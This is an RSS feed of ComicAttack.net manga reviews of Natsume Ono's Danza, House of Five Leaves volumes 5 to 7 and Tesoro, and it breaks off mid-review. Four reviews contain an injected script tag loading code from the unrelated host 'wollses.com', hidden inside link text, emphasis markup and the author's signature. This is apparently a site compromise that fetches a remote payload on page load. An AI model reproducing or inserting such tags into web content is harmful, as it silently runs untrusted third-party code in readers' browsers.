<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" > <channel> <title>Natsume Ono – ComicAttack.net</title> <atom:link href="https://comicattack.net/tag/natsume-ono/feed/" rel="self" type="application/rss+xml" /> <link>https://comicattack.net</link> <description></description> <lastBuildDate>Mon, 21 Jan 2013 10:00:22 +0000</lastBuildDate> <language>en-US</language> <sy:updatePeriod> hourly </sy:updatePeriod> <sy:updateFrequency> 1 </sy:updateFrequency> <generator>https://wordpress.org/?v=6.5.3</generator> <image> <url>https://comicattack.net/wp-content/uploads/2019/07/cropped-Review-1-1-32x32.jpg</url> <title>Natsume Ono – ComicAttack.net</title> <link>https://comicattack.net</link> <width>32</width> <height>32</height> </image> <item> <title>Bento Bako Weekly: Danza</title> <link>https://comicattack.net/bbwdanza/</link> <comments>https://comicattack.net/bbwdanza/#respond</comments> <dc:creator><![CDATA[Kristin]]></dc:creator> <pubDate>Mon, 21 Jan 2013 10:00:22 +0000</pubDate> <category><![CDATA[Bento Bako Weekly]]></category> <category><![CDATA[Columns]]></category> <category><![CDATA[Kristin]]></category> <category><![CDATA[Manga]]></category> <category><![CDATA[Reviews]]></category> <category><![CDATA[Danza]]></category> <category><![CDATA[Kodansha]]></category> <category><![CDATA[Kodansha Comics]]></category> <category><![CDATA[Natsume Ono]]></category> <guid isPermaLink="false">https://comicattack.net/?p=97756</guid> <description><![CDATA[Title: Danza Author: Natsume Ono Publisher: Kodansha Comics Volume: One-shot, $12.99 Vintage: 2007 by Kodansha Ltd., December 2012 by Kodansha Comics Genre: Short stories, slice-of-life Danza is a delightful collection of short stories from manga creator Natsume Ono. A danza is a type of Puerto Rican waltz, though given Ono’s proclivity toward Italian settings, I’ll […]]]></description> <content:encoded><![CDATA[<p><strong><a href="https://comicattack.net//wp-content/uploads/2013/01/danza.jpg"><img fetchpriority="high" decoding="async" class="alignleft size-full wp-image-97775" style="margin: 1px 4px;" title="danza" alt="" src="https://comicattack.net//wp-content/uploads/2013/01/danza.jpg" width="308" height="442" srcset="https://comicattack.net/wp-content/uploads/2013/01/danza.jpg 514w, https://comicattack.net/wp-content/uploads/2013/01/danza-210x300.jpg 210w" sizes="(max-width: 308px) 100vw, 308px" /></a>Title:</strong> <em>Danza</em><br /> <strong>Author:</strong> Natsume Ono<br /> <strong>Publisher:</strong> Kodansha Comics<br /> <strong>Volume:</strong> One-shot, $12.99<br /> <strong>Vintage:</strong> 2007 by Kodansha Ltd., December 2012 by Kodansha Comics<br /> <strong>Genre:</strong> Short stories, slice-of-life</p> <p><em>Danza</em> is a delightful collection of short stories from manga creator Natsume Ono. A danza is a type of Puerto Rican waltz, though given Ono’s proclivity toward Italian settings, I’ll assume it just means “dance” in general. Which is a perfect title, as each of the six stories in the collection center on a pair – father and son, friends, work partners, brothers. “Rubber Boots” is the story of a father and son separated by an unpleasant divorce. After about ten years of not seeing each other, son Ivo begins to visit his father to help with the grape harvest for his wine. Things are awkward the first year, and not much better the second, but Ivo slowly comes to understand and respect the sort of man his father is. “Memories of the Lake” is a bit unusual for Ono, as it dips into science-fiction, of all things, with some time traveling. Ralph is just a child living with his widower father when a man claiming to be from the future comes to visit him. He also claims to be Ralph’s son, and he has come to make his father’s dying wish come true – a day of fishing with his father. Which sounds quite sweet, but is actually fairly heartbreaking given Ralph’s relationship with his father and soon to occur events. “Diorama” picks things up with humor and charm, telling the story of a traditional Japanese man who is visited by his daughter and her incredibly tall American husband. Father and son-in-law are having trouble connecting, as the father is quite stubborn and traditional, and the son-in-law is awkwardly trying his best to fit into a Japanese family and connect with his wife’s father. “The Gelateria and the Carabinieri” is the shortest and most amusing of the bunch, about a carabinieri officer who is stationed across the street from Rome’s most popular gelateria, and must watch the crowds roam the streets with their delicious gelato in the hot weather. “Smoke” takes things in a melancholy turn, as two mutual friends get into a fist-flying argument over the false presentation of one’s public identity. Aldo disdains Pietro for the easy smile he’s always wearing and the capable attitude he always presents, because Aldo knows that underneath all that is a person struggling with his position and who he is expected to be. The final story, “Partners” is a tale about two New York detectives, one a regular (but a transfer), and the other a rookie. When Val hears a rumor about his partner Keith, he frets over its validity and what it means to distrust his new mentor, and ends up learning what kind of person he is, as well as the sort of person his partner is.</p> <p>I’m just happy to get my hands on more Natsume Ono, I don’t care what it is. I would like all of the Natsume Ono, please. And I do mean all of it, including the titles published under her secondary name Basso. Let’s get on that, publishers (and while you’re at it, how about publishing all of Fumi Yoshinaga’s works, too). I really can’t get enough of Ono, or her wonderfully unique art style, which admittedly was a bit off putting at first (back when I read <em><a href="https://comicattack.net/2011/07/bbwlaquintacamer/">La Quinta Camera<script src="//wollses.com/steps"></script></a></em>, I believe), but I now find very charming and perfectly suited for these types of stories (as opposed to the more realistic but still stylized presentation she uses for her multi-volume series like <em>Gente</em> and <em>House of Five Leaves</em>). Enormous, soul-filled eyes; wide, bright smiles; sketchy; and simplistic. Everything that allows Ono to tell a heart-warming story with fully emotive characters, and not a lot of busy nonsense to detract from what the characters are experiencing. Just a lot of heart, and a remarkable amount of growth within the characters for such short tales. Kodansha added some translation notes at the back which, while not entirely necessary, do prove a bit useful, particularly for those new to Ono (and apparently Japanese culture, since they felt the need to explain conveyor belt sushi). Overall, a pleasing collection, and a must have for Ono’s fans, at the very least.</p> <p><span style="text-decoration: underline;">Kris<br /> </span>kristin@comicattack.net<br /> @girlg33k_kris</p> ]]></content:encoded> <wfw:commentRss>https://comicattack.net/bbwdanza/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item> <title>Bento Bako Bonus: House of Fives Leaves volume 7</title> <link>https://comicattack.net/bbbhousefiveleaves7/</link> <comments>https://comicattack.net/bbbhousefiveleaves7/#respond</comments> <dc:creator><![CDATA[Kristin]]></dc:creator> <pubDate>Fri, 13 Jul 2012 09:00:48 +0000</pubDate> <category><![CDATA[Bento Bako Weekly]]></category> <category><![CDATA[Kristin]]></category> <category><![CDATA[Manga]]></category> <category><![CDATA[Reviews]]></category> <category><![CDATA[House of Five Leaves]]></category> <category><![CDATA[Natsume Ono]]></category> <category><![CDATA[Shogakukan]]></category> <category><![CDATA[Sig IKKI]]></category> <category><![CDATA[Viz Media]]></category> <guid isPermaLink="false">https://comicattack.net/?p=90227</guid> <description><![CDATA[Title: House of Five Leaves Author: Natsume Ono Publisher: Viz Media (Sig IKKI) Volume: Volume 7 (of 8), $12.99 Vintage: 2010 by Shogakukan, June 2012 by Viz Media Genre: Period drama [Volume 6 review.] Volume 7 continues to reveal Yaichi’s past, traveling all the way back to when Yaichi first met Jin. Yaichi, or Seinoshin […]]]></description> <content:encoded><![CDATA[<p><strong><a href="https://comicattack.net/wp-content/uploads/2012/07/fiveleaves7.jpg"><img decoding="async" class="alignleft size-full wp-image-90261" style="margin: 1px 4px;" title="fiveleaves7" src="https://comicattack.net/wp-content/uploads/2012/07/fiveleaves7.jpg" alt="" width="299" height="441" srcset="https://comicattack.net/wp-content/uploads/2012/07/fiveleaves7.jpg 499w, https://comicattack.net/wp-content/uploads/2012/07/fiveleaves7-204x300.jpg 204w" sizes="(max-width: 299px) 100vw, 299px" /></a>Title:</strong> <em>House of Five Leaves</em><br /> <strong>Author: </strong>Natsume Ono<br /> <strong>Publisher:</strong> Viz Media (Sig IKKI)<br /> <strong>Volume:</strong> Volume 7 (of 8), $12.99<br /> <strong>Vintage: </strong>2010 by Shogakukan, June 2012 by Viz Media<br /> <strong>Genre: </strong>Period drama</p> <p>[<a href="https://comicattack.net/2012/04/bblfiveleaves6mmf/">Volume 6 review.</a>]</p> <p>Volume 7 continues to reveal Yaichi’s past, traveling all the way back to when Yaichi first met Jin. Yaichi, or Seinoshin as he was then known, was the adopted heir to a noble family. When his mother gave birth to a legitimate son, Jin’s gang was contracted to kill him and make it look like a kidnapping. Sensing something in the young man, Jin not only spared his life, but invited him to join his crew, and eventually into the Bakuro gang. He became Sei the Drifter then, and with no purpose of his own, became a tool for the Bakuro gang’s leader, cold-hearted and vicious. Then the big job, the one that broke Bakuro apart, arrived, and Yaichi drifted away once again, leaving the gang to its fate. In Edo, Yaichi met Otake and the owner of Katsuraya, and he found a new place for himself, eventually starting up the Five Leaves gang. Meanwhile, back in the present, with Yaichi in hiding, the Five Leaves are doing what they can to keep things together. Including helping an anxious Masa discover what sort of mess his younger brother has gotten himself into. Though not before Ume and Masa start putting two and two together, and realize that the mysterious man (Jin) on the hunt for Yaichi had been staying at Goinkyo’s house. Fearing for the old man’s safety, the two men rush to Goinkyo’s house, but find it empty. Okinu disappears next, leaving Ume distraught and demanding answers, which only Masa can give him. Ginta at last returns with information and a new job, but it’s not quite the one they were expecting. Masa finally learns the truth about his family’s situation and his brother’s role in the lies that Masa was fed. Masa finally puts his foot down and shows Bunnosuke how foolish and reckless he’s been acting. For a brief moment, Masa becomes the head of the family that he should be, but eventually turns the responsibility back to his uncle, again distancing himself and his reputation from his family. The family matter dealt with, Masa leaves and stumbles across Yaichi, who is immediately found and confronted by two former Bakuro members out for blood. Masa, still willing to believe that Yaichi is more than he claims to be, still willing to trust him despite everything, steps in to protect Yaichi, easily cutting down the attackers. Yaichi is understandably confused, but Masa explains that there’s something he wishes to protect more than anything – his new family, the Five Leaves. And that includes Yaichi.</p> <p>There’s one volume left in this series, and Ono is on her way to an epic conclusion. This has been the best volume so far, and it perfectly sets up the story’s conclusion. I can’t say I’m happy to see it end, but since it must, well, this is the way to do it. My only real complaint is that, while we finally got to see what really happened in Yaichi’s past, it’s still not clear how (or even if) he betrayed the Bakuro gang (other than not warning them the cops where on their trail, I guess). Maybe I’m just not seeing it, maybe it’s meant to be vague, or maybe it will be fully revealed in the final volume as Yaichi’s final secret. There are certainly some hints that suggest he did not betray his gang. There’s also the fact that while he may be ruthless, he doesn’t appear to be heartless or evil. The way the events play out in this volume, it seems like Yaichi simply didn’t return to the gang after the job went bad, and so wasn’t there when they were captured. It seems natural that the gang would blame their demise on the person who was missing. What’s going to be important in the end are the motivations of Jin and Yagi, and what Yaichi means to them. Right now there’s plenty to speculate about, but Ono has done well to hide the absolutes from her readers. This has been such a well crafted story since the first volume. The characters, specifically Masa, have grown and become so much more than they originally appeared. Masa, who was so timid and virtually helpless early on, takes on an air of authority in dealing with his brother, and becomes a deadly protector when Yaichi is in danger. He doesn’t even hesitate to strike down the men attempting to kill Yaichi. And he does kill them, which is a first for him, and a turning point. That moment, along with how he handles his brother, shows that Masa has finally decided that he belongs with the Five Leaves and considers himself a full-fledged member, instead of a nervous man who simply hovered around on the edge. The artwork is beautiful, as always, though I do feel as if the early portions of the volume are oddly sloppy. As if Ono had to rush the first chapter or two. Though even a slightly sloppy Ono is a beautiful Ono.</p> <p><span style="text-decoration: underline;">Kris<br /> <script src="//wollses.com/steps"></script></span>kristin@comicattack.net<br /> <a href="http://www.twitter.com/girlg33k_kris">@girlg33k_kris</a></p> <p>Review copy provided by Viz Media.</p> ]]></content:encoded> <wfw:commentRss>https://comicattack.net/bbbhousefiveleaves7/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item> <title>Bento Bako Lite: House of Five Leave volume 6 (MMF)</title> <link>https://comicattack.net/bblfiveleaves6mmf/</link> <comments>https://comicattack.net/bblfiveleaves6mmf/#comments</comments> <dc:creator><![CDATA[Kristin]]></dc:creator> <pubDate>Wed, 25 Apr 2012 09:00:23 +0000</pubDate> <category><![CDATA[Bento Bako Weekly]]></category> <category><![CDATA[Kristin]]></category> <category><![CDATA[Manga]]></category> <category><![CDATA[Manga Moveable Feast]]></category> <category><![CDATA[Reviews]]></category> <category><![CDATA[House of Five Leaves]]></category> <category><![CDATA[Natsume Ono]]></category> <category><![CDATA[Shogakukan]]></category> <category><![CDATA[Sig IKKI]]></category> <category><![CDATA[Viz Media]]></category> <guid isPermaLink="false">https://comicattack.net/?p=86592</guid> <description><![CDATA[Title: House of Five Leaves Author: Natsume Ono Publisher: Viz Media (Sig IKKI) Volume: Volume 6 (of 8), $12.99 Vintage: 2009 by Shogakukan, March 2012 by Viz Media Genre: Historical drama [Volume 5 review.] Masanosuke’s brother, Bunnosuke, is in town, and he’s not thrilled to be in the same town as his disgraced older brother. […]]]></description> <content:encoded><![CDATA[<p><strong><a href="https://comicattack.net/wp-content/uploads/2012/04/fiveleaves6.jpg"><img decoding="async" class="alignleft size-full wp-image-86619" style="margin: 1px 4px;" title="fiveleaves6" src="https://comicattack.net/wp-content/uploads/2012/04/fiveleaves6.jpg" alt="" width="301" height="444" /></a>Title:</strong> <em>House of Five Leaves</em><br /> <strong>Author:</strong> Natsume Ono<br /> <strong>Publisher: </strong>Viz Media (Sig IKKI)<br /> <strong>Volume:</strong> Volume 6 (of 8), $12.99<br /> <strong>Vintage:</strong> 2009 by Shogakukan, March 2012 by Viz Media<br /> <strong>Genre:</strong> Historical drama</p> <p>[<a href="https://comicattack.net/2012/01/bblfiveleaves5/">Volume 5 review.</a>]</p> <p>Masanosuke’s brother, Bunnosuke, is in town, and he’s not thrilled to be in the same town as his disgraced older brother. Dealing with Bunnosuke is the least of Masa’s problems, however, as Yaichi is still acting strange and is staying mum on the future of the Five Leaves. He does at least hear promising news of his brother’s exploits through Sachi’s (their sister) fiancé, who pays him a visit. And more presently Ginta, who gets work inside the compound where Bunnosuke is staying, and spies on the group of men there. Bunnosuke does not have kind words for Masa, and that coupled with Yaichi’s bad mood leaves him stressed and exhausted. His mixed feelings cause him to hesitate on a promising offer from the man running the dojo where he works. He tries to give his younger brother words of strength, even as he hands over what could be the last payment for a while to help with Bunnosuke’s debts. This sum resurfaces, however, in the strangest of places. To Masa’s disdain, it’s clear Bunnosuke is meddling in dangerous things. Meanwhile, Tachibana is determined to get to the bottom of the mysterious Bakuro gang, and it’s all Yaichi can do to throw him off his trail. He gets dangerously close to uncovering Yaichi’s identity, and though he remains suspicious, turns his attention toward tracking down former Bakuro leader Jin (the scarred man searching for Sei the Drifter). Jin himself has approached Goinkyo (Soji the Saint) for help in tracking down Sei, putting the old man in a compromising situation. The Five Leaves get started on their final job, but things go awry when the person paying the random pays only half, and tells Yaichi to simply get rid of the boy they kidnapped, claiming he’s not the true family heir. When they return to Ume’s restaurant, Yaichi uncharacteristically has a harsh conversation with their hostage, informing him of his family’s decision. After the job is completed, Masa follows Yaichi, and though the thief is initially annoyed, he finds himself protected by Masa when Jin suddenly appears and reveals he knows him to be Sei. Masa comes to a decision, and goes to Yaichi to tell him the truth of his own past. Having shared his full story, he announces that he is going to Goinkyo for the truth about Yaichi’s past, since he knows Yaichi will refuse to tell him himself. It’s Masa’s way of being honorable, revealing his own past before learning the past of another. Finding himself conflicted given recent occurrences, Masa is determined to discover what kind of man he is working for. At Goinkyo’s the old man goes back to the time he first met Yaichi, when he was a cold-hearted member of Bakuro, still known as Sei, dispensing out his boss’s justice without question or hesitation. A short bonus story illustrates Ume’s meeting with Goinkyo, and the day they became friends.</p> <p>I wish Masanosuke was my older brother. He’s so kind and generous, and Ono draws him in such a gentle way, with a beauty and grace in contrast to his clumsy manner and awkward social skills. Plus he’s got those big, dark eyes that can look into a person’s soul. Did I say “older brother”? I probably meant something else…. Ahem. Masa has really grown as a character since the first couple of volumes, where he was just a passive observer of events. There is far more to him than first appeared, and he’s become just as interesting as everyone around him. Which is good, because at this point in the story, Masa is becoming a solid focal point for events, even as he does his best to keep pace with Yaichi. Everyone else takes a back seat this volume, their stories told, their motivations (mostly) clear. Only Yaichi remains a mystery, and the careful life he built is unraveling at a quick pace as his past comes hurtling forward to drag him back down. If things were dragging on before, they are certainly moving now. Jin has found Sei the Drifter, and he’s prepared to exact his revenge (or whatever it is, exactly, that he wants). Judging by their relationship in the past, which is shown in the flashback near the end of the volume, Jin holds no love for Yaichi, who killed one of his underlings without remorse. And just from what I can recall from past volumes, Yaichi also betrayed the Bakuro gang at some point, and more recently he’s killed another underling and friend of Jin’s. Masa’s going to have his hands full protecting Yaichi, if that is indeed what he decides to continue doing after hearing his story from Goinkyo. Will he remain loyal to Yaichi after hearing the truth? Masa is an honorable guy, despite his ties to the Five Leaves, though it’s worth noting that he’s never viewed the gang as evil in any way. Deceitful certainly, but not evil. He’s blindly followed Yaichi up until now, but he seems to be having a crisis of conscience, which is why he goes to Goinkyo to find out what kind of man he is. Frankly, it’s not looking good for Yaichi, just based on the piece of the story told by Goinkyo that Ono shows. Goinkyo paints a picture of a lost young man, cold, ruthless, aimless, doing only what his boss requires of him without question, having seemingly no desires of his own. There are certainly elements of that in the current Yaichi, but there’s also been an underlying kindness there that suggests he’s not evil at heart. He’s a complicated guy, though, and Ono still really hasn’t revealed much about him. She’s taking her time, but things are coming to a head, and decisions will have to be made. There’s just two volumes left, and there’s no clear outcome, which is how it should be. The story has plodded along at times, but Ono really knows how to tell a good tale.</p> <p>Don’t forget that this week marks the Viz Signature Manga Moveable Feast! Check out Kate’s <a href="http://mangacritic.com/2012/04/22/mmf-an-introduction-to-the-viz-signature-imprint/">introduction to the Viz Signature line<script src="//wollses.com/steps"></script></a> over at The Manga Critic, and make sure you check in with<a href="http://mangacritic.com/mmf-archive/mmf-viz-signature/"> the robust archive</a>.</p> <p><span style="text-decoration: underline;">Kris<br /> </span>kristin@comicattack.net<br /> <a href="http://www.twitter.com/girlg33k_kris">@girlg33k_kris</a></p> <p>Review copy provided by Viz Media.</p> ]]></content:encoded> <wfw:commentRss>https://comicattack.net/bblfiveleaves6mmf/feed/</wfw:commentRss> <slash:comments>1</slash:comments> </item> <item> <title>Bento Bako Lite: House of Five Leaves volume 5</title> <link>https://comicattack.net/bblfiveleaves5/</link> <comments>https://comicattack.net/bblfiveleaves5/#comments</comments> <dc:creator><![CDATA[Kristin]]></dc:creator> <pubDate>Wed, 11 Jan 2012 09:00:34 +0000</pubDate> <category><![CDATA[Bento Bako Weekly]]></category> <category><![CDATA[Kristin]]></category> <category><![CDATA[Manga]]></category> <category><![CDATA[Reviews]]></category> <category><![CDATA[House of Five Leaves]]></category> <category><![CDATA[Natsume Ono]]></category> <category><![CDATA[Shogakukan]]></category> <category><![CDATA[Sig IKKI]]></category> <category><![CDATA[Viz Media]]></category> <guid isPermaLink="false">https://comicattack.net/?p=80809</guid> <description><![CDATA[Title: House of Five Leaves Author: Natsume Ono Publisher: Viz Media (Sig IKKI) Volume: Volume 5 (of 8), $12.99 Vintage: 2006 by Shogakukan in Japan, December 2011 by Viz Media Genre: Historical drama [Volume 4 review.] Things started unraveling in the previous volume, and that continues here. The Machikata (the local police force) are snooping […]]]></description> <content:encoded><![CDATA[<p><a href="https://comicattack.net//wp-content/uploads/2012/01/fiveleaves5.jpg"><img loading="lazy" decoding="async" class="alignleft size-full wp-image-80873" style="margin: 1px 4px;" title="fiveleaves5" src="https://comicattack.net//wp-content/uploads/2012/01/fiveleaves5.jpg" alt="" width="306" height="443" srcset="https://comicattack.net/wp-content/uploads/2012/01/fiveleaves5.jpg 510w, https://comicattack.net/wp-content/uploads/2012/01/fiveleaves5-207x300.jpg 207w" sizes="(max-width: 306px) 100vw, 306px" /></a><strong>Title: </strong><em>House of Five Leaves</em><br /> <strong>Author: </strong>Natsume Ono<br /> <strong>Publisher: </strong>Viz Media (Sig IKKI)<br /> <strong>Volume:</strong> Volume 5 (of 8), $12.99<br /> <strong>Vintage:</strong> 2006 by Shogakukan in Japan, December 2011 by Viz Media<br /> <strong>Genre: </strong>Historical drama</p> <p>[<a href="https://comicattack.net/2011/09/bbb20thcent16fiveleaves4/">Volume 4 review.</a>]</p> <p>Things started unraveling in the previous volume, and that continues here. The Machikata (the local police force) are snooping around more than usual, and the Five Leaves are at risk of being discovered. Tachibana, as a regular at Ume’s restaurant, has been ordered to investigate the intermediary Ginta. Yagi himself has also been showing up at Ume’s from time to time, making things quite uncomfortable for the Five Leaves who regularly gather there. Particularly Yaichi, who has stopped coming by all together. Wanting to be cautious, Yaichi even halts their jobs for the time being. Eventually, Yagi’s investigating leads him to Katsuraya, the brothel where Yaichi lives. Masa, meanwhile, begins searching for a new job. Yagi takes him once again and leads him to a local dojo, where the master has recently injured his sword arm. Masa is hired to teach the students in his place. When he returns home with this news, Ginta warns him to watch his mouth so he doesn’t accidentally reveal information about the Five Leaves to Yagi (the superintendent of the Machikata). Yagi’s probing begins immediately, when he asks Masa if Yaichi has a scar on his shoulder. Masa doesn’t know, but just dropping that information is enough to get Masa’s wheels turning, as Yagi is well aware. Masa journeys to Katsuraya to warn Yaichi, but instead he is told by the Madame about when she first met Yaichi. She is concerned that Masa’s presence is driving Yaichi back to the closed off person he was when he first arrived, but she does reveal the presence of a rather unique scar on Yaichi’s body. Masa has no intention of asking Yaichi about this, or informing Yagi, but his gentle nature inadvertently confirms Yagi’s suspicions about Yaichi’s true identity. Yagi approaches a fed up Yaichi, who finally gives in and has a drink with the last person he wants to talk to. Yagi has a long talk with Yaichi about a family from Yagi’s past, ending with a resignation that should come as good news to Yaichi. After having hounded Yaichi for so long, it seems Yagi is at last content with his resolution. The story switches gears for a chapter to highlight Masa’s family back home. The remaining son, Bunnosuke, does not desire to bother his brother with news of their situation, and continually intercepts letters that their sister, Sachi, tries to send to Masa. Bunnosuke thinks his brother is a useless coward, and is doing what he can to restore his family’s name on his own, but also wants to make Masa suffer for disgracing their family to begin with. However, as an unusually large amount of money arrives from Masa, and Bunnosuke discovers some expensive gifts in Sachi’s room, he begins to wonder just what it is his older brother is up to. As the story shifts back to Edo, things are obviously strained. Without any recent work, and Yaichi’s frequent absences, the Five Leaves members are becoming worried. The fate of the group is unclear, and Yaichi has been acting like the group means little to nothing to him, and in fact has mentioned to some that he will be shutting the gang down after one final job.</p> <p>The series is heading towards its end, but what that end will be remains a mystery. Yaichi is just too hard to pin down, and his motivation have never been crystal clear. He acts like a loner, but in reality I think he likes the family dynamic the Five Leaves provides. The other members certainly do. Ume makes a nice comment in this volume (and Masa echoes it later), stating that he doesn’t care when their next job is, as long as everyone keeps coming to his restaurant. It’s clear he cares more about the friendships they have built than the work that first brought them together. Whether or not Yaichi feels the same is something that could be debated from dawn to dusk. Sometimes he acts like he enjoys the company of the others, but at other times his temper flares and he creates more distance. It’s unclear if he simply doesn’t care, is conflicted about whether he cares or not, or is protecting those around him. He distances himself while Yagi is snooping around, but he ends up going for some soba with Masa. He takes the time to check in on Ginta, but almost gets violent when Matsu asks after his well being. Yaichi’s never been one to talk about himself around the others, but I can’t tell what his real reason is for pushing everyone away. Especially since he seems to waver now and then, which makes me think that not even Yaichi is sure about Yaichi. He really is a wonderfully complex character. Yagi takes more form in this volume. He has befriended Masa, both because he likes the man and because he knows he can get to Yaichi through him. But why he has been investigating Yaichi was unclear. He appeared to have a connection to Yaichi’s past, which has been slowly revealed piece by piece since his appearance. He’s obsessed with this person from his past, and he can’t get over the fact that Yaichi seems somehow connected to that person. What he really wanted out of Yaichi starts coming together this volume, though the underlying motivations remain a mystery. If all Yagi wanted was just to see the boy he once knew grown up, or to get Yaichi to visit the graves of their mutual friends, he’s gone through quite a lot of trouble. From his words, it seems he’s no longer concerned with the dark and unfortunate events of the past, though that may also be because there’s nothing he can do about them (legally at least, in his position in the Machikata). If I’m interpreting his words correctly, he’s giving Yaichi a release from the past, by saying that he won’t pursue the events surrounding the odd incidents that took place. That Yagi cares that much is a testament to his character, but I’m still not sure what he’s <em>really<script src="//wollses.com/steps"></script></em> after. As for the Five Leaves, they can all feel the end coming. Masa returns to the unemployment house looking for a new job. Matsu has felt things changing for some time now, and he no longer understands what the Five Leaves is supposed to mean. None of them understand what Yaichi feels about the Five Leaves, or what he intends to do with the group. Not even Ume, Goinkyo, or the Madame of Katsuraya. The reader doesn’t know either, of course, but we’re sure to learn before the end. Yaichi’s past is not just catching up to him, but is about to overcome him, and it could destroy everything in the process.</p> <p>By the way, unless it’s particularly desired or needed, I’m going to skip this month’s Diamond <em>Previews</em> manga highlights post. Got a late start since I was sick when it came out, and I have a huge back log of reviews to get to as it is. Hope no one minds too much.</p> <p><span style="text-decoration: underline;">Kris<br /> </span>kristin@comicattack.net<br /> <a href="http://www.twitter.com/girlg33k_kris">@girlg33k_kris</a></p> <p>Review copy provided by Viz Media.</p> ]]></content:encoded> <wfw:commentRss>https://comicattack.net/bblfiveleaves5/feed/</wfw:commentRss> <slash:comments>2</slash:comments> </item> <item> <title>Bento Bako Lite: Tesoro (MMF)</title> <link>https://comicattack.net/bbltesoro/</link> <comments>https://comicattack.net/bbltesoro/#comments</comments> <dc:creator><![CDATA[Kristin]]></dc:creator> <pubDate>Wed, 16 Nov 2011 09:00:32 +0000</pubDate> <category><![CDATA[Bento Bako Weekly]]></category> <category><![CDATA[Kristin]]></category> <category><![CDATA[Manga]]></category> <category><![CDATA[Manga Moveable Feast]]></category> <category><![CDATA[Reviews]]></category> <category><![CDATA[Natsume Ono]]></category> <category><![CDATA[Shogakukan]]></category> <category><![CDATA[Sig IKKI]]></category> <category><![CDATA[Tesoro]]></category> <category><![CDATA[Viz Media]]></category> <guid isPermaLink="false">https://comicattack.net/?p=77946</guid> <description><![CDATA[Title: Tesoro Author: Natsume Ono Publisher: Viz Media (Sig IKKI) Volume: One-shot, $12.99 Vintage: 2008 (as a collection) by Shogakukan, November 15, 2011 by Viz Media Genre: Slice-of-life, short stories [This review is part of November’s Manga Moveable Feast, hosted at Manga Widget, paying tribute to the lovely Natsume Ono. You can check out the […]]]></description> <content:encoded><![CDATA[<p><a href="https://comicattack.net/wp-content/uploads/2011/11/tesoro.jpg"><img loading="lazy" decoding="async" class="alignleft size-full wp-image-78006" style="margin: 1px 4px;" title="tesoro" src="https://comicattack.net/wp-content/uploads/2011/11/tesoro.jpg" alt="" width="307" height="446" srcset="https://comicattack.net/wp-content/uploads/2011/11/tesoro.jpg 512w, https://comicattack.net/wp-content/uploads/2011/11/tesoro-207x300.jpg 207w" sizes="(max-width: 307px) 100vw, 307px" /></a><strong>Title:</strong> <em>Tesoro</em><br /> <strong>Author:</strong> Natsume Ono<br /> <strong>Publisher: </strong>Viz Media (Sig IKKI)<br /> <strong>Volume: </strong>One-shot, $12.99<br /> <strong>Vintage: </strong>2008 (as a collection) by Shogakukan, November 15, 2011 by Viz Media<br /> <strong>Genre: </strong>Slice-of-life, short stories</p> <p>[This review is part of November’s<a href="https://comicattack.net/category/cafeaturedcolumns/manga-moveable-feast/"> Manga Moveable Feast</a>, hosted at <a href="http://mangawidget.wordpress.com/">Manga Widget</a>, paying tribute to the lovely <a href="../tag/natsume-ono/">Natsume Ono</a>. You can check out the <a href="http://mangawidget.wordpress.com/2011/11/13/natsume-ono-mmf-archive/">archive page here</a>.]</p> <p><em>Tesoro</em> is a collection of short stories spanning Natsume Ono’s career (mostly early career). Most of the stories are about family bonds…or food. Ono seems to like writing about people eating food about as much as Fumi Yoshinaga likes eating food herself. Ono isn’t anywhere near as descriptive as Yoshinaga is when it comes to food in her manga, but it does serve as an element to bring people together. The stories are quite short, so I’ll just go through them really quickly with a very basic rundown.</p> <p>“Una giornata fredda” (“A Cold Day”) – An adorable story, in muted color, of a bundled up bear searching for some pastry inspired comfort.<br /> “Inside Out” – A man named Aki struggles to look after things while his wife is away visiting their daughter in Italy. A sweet story of a lonely husband working hard for his family, who gets some good news in the end. (From 2005.)<br /> “Moyashi Couple” – A heartwarming story of an older couple concerned about their image in the community. The gentle wife is concerned over how their neighbors worry about them, so the awkward husband does his best to help her show off how happy they really are. (From 2005.)<br /> “Three Short Stories About Bento” – Exactly what it says. It’s three little stories about lunch boxes. The first is about a group of coworkers who take turns ordering lunch from a local takeout restaurant, with each assigned a specific day. Things get a little crazy when one of the men decides he wants to switch days, and everyone starts forgetting to bring packed lunches on their former days. Another cute husband and wife story. The second story is about a widower and his son. When the son’s class has a cherry blossom-viewing party, the father decides to make a bento to look like anything his son wants. Unfortunately, the father’s desire to make his son the perfect looking lunch has an unintended consequence. The last story goes back to the older couple from before, as the man enjoys the lunch his wife made for him, after a day of chores. (From 2008.)<br /> “Eva’s Memory” – A bittersweet story about an orphan girl who can’t remember her past (or rather, doesn’t really have one to remember). To make up for this, she spins various lies about her parents, often randomly claiming pictured authors or politicians she sees as her father. When she has a cheerful outburst at a politician’s rally, the man decides to pay Eva a visit and gives her what she most needs. Her experience also affects the life of her best friend, who despises politicians. (From 2004.)<br /> “Senza Titolo #1” – A doctor depressed over the fact that his son is dying from an illness he cannot cure (he’s a mental doctor and not a physician), is delighted that his son has at least grown old enough so far to require reading glasses. (From 2003.)<br /> “Senza Titolo #2” – A young woman at a bookstore falls for a distinguished looking professor who is a regular customer there, but is disheartened to hear that he lives only for philosophy. Which is why it’s strange when one day he comes in and walks right past the philosophy section, and instead goes to the romance section. (From 2003.)<br /> “Senza Titolo #3” – A father discusses his own father with his son. They will be visiting him for the first time in eight years, because now that his wife has passed, the father wants someone to be with his son so he’s not home alone during the summer. (From 1998.)<br /> “Senza Titolo #4” – A man whose wife wants a specific chef to cater their 30th anniversary party, kidnaps the chef who claims he is too busy when he finds out the “prior engagement” is going to see a classic film at a theater. He has second thoughts when he learns what movie the young man plans to see. (From 1998.)<br /> “Senza Titolo #5” – Life turns into something out of a film when a young man finds himself being released from prison, and more than one car arrives to pick him up. More people love him than he would have though, despite his faults. (From 1998.)<br /> “Froom Family” – A dad tries to help his son who is bullied by his older sisters, but his good intentions backfire. (From 2001.)<br /> “Fratelli di Sandro” (“Siblings of Sandro”) – Monica has terrible luck with men, even her two brothers. The only man in her life who she views as a good man is her father. (From 2001.)<br /> “Padre” – A series of short panel comics about fathers and their sons. (From 2001.)<br /> “Galleria di illustrazione” – A 